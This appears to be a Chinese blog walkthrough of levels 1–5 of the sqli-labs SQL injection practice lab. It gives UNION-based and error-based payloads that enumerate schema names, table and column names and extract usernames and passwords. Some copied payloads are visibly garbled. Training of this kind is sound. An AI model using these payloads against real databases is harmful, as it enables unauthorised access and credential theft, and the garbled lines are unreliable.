sqli-labs 1-5关

这次写一个关于sql注入的闯关游戏,叫sqli-liabs,这个源码在网上搜索一下sqli-liabs源码下载,放到phpstudy环境里,
  注意:这里把phpstudy版本调到5.5,别问我为什么,厂长是我的表哥

下面先说一下,
注入分为数字型注入和字符串型注入
区别:
?id=1 and 1=1
?id=2 and 1=2
回显不一致则为数字型注入,回显一致的话再继续判断
?di=1’ and 1=1 --+
?id=1’ and 1=2 --+
(- -+)这里是转义字符,此时回显不一致的话,则为单引号字符型注入
- 要是回显一致的话再继续查看源码测试为哪个符号
第一关:sqli-labs 1-5关_第1张图片
sqli-labs 1-5关_第2张图片
判断查询列数:order by 3 返回正确,byderby 4 错误
证明它有3个字段,没有第4列

sqli-labs 1-5关_第3张图片
判断显示位:利用报错注入,union是联合查询,意思是俩个select查询结果合并,我们把左边的设置为空集那么右边的select查询自然成了第一行,这就是union select。
?id=-1’ union select 1,2,3 --+sqli-labs 1-5关_第4张图片
查询所有数据库名:
union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
sqli-labs 1-5关_第5张图片
查询数据库中的表名:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+
sqli-labs 1-5关_第6张图片
获取列名:
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 --+sqli-labs 1-5关_第7张图片
获取字段:union select 1,(select concat_ws(username,password) from users limit 1,1),3 --+
sqli-labs 1-5关_第8张图片
第二关:根据文章开头来注入,判断它是数字型注入,只需要?id=-1 后面就和第一关一样 直接进行注入就可以了
第三关:它是基于错误的GET单引号变形字符型注入,需要加上‘)来进行闭合可以测试一下子
第四关:它是基于错误的GET双引号变形字符型注入,需要加上“)来进行闭合可以测试一下子 ,但是这一关你用单引号闭合不会报错因为双引号会包含单引号。
第五关:看网上说 它是双注入GET单引号字符型注入,这个双注入我也不会,哈哈哈,所以大家可以直接搜索一下 ”详细讲解双查询注入”,其次我复制个网上大神的代码,所以见谅看一下
’ union select count(),count(), concat((select database()), floor(rand()2)) as a from information_schema.tables group by a --+
’ union select count(
),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

你可能感兴趣的:(命令注入,基于错误的单引号注入,盲注)